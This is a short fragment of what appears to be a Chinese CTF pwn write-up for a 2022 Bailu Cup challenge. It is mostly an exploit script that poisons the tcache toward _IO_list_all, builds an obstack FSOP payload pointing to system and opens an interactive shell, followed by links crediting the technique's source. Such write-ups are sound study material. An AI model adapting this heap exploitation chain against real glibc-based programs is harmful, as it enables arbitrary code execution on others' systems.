debug(p,'pie',add_p,delete_p,show_p)
io_list_all=libc_base+0x21a680


key=leak_heap>>12
heap_addr=leak_heap+0xca0
add(7,0x70,p64(key^io_list_all))
add(8,0x70,'a')
add(8,0x70,'a')
add(8,0x70,p64(heap_addr))
dirc={
    'system':libc_base+0x50d60
    ,'io_obstack_jumps':libc_base+0x2163c0

}
libc_symbols=create_dict(dirc)
payload=obstack_attack(heap_addr,libc_symbols)
add(9,0x200,payload)
p.sendlineafter('>','4')
p.interactive()
#0xa772f   0xa7734    0x885cd

参考

https://tttang.com/archive/1845/#toc 从这个师傅学习的手法

柏鹭杯2022 | Fang's Blog! (gitee.io)从这个师傅的文章中下的附件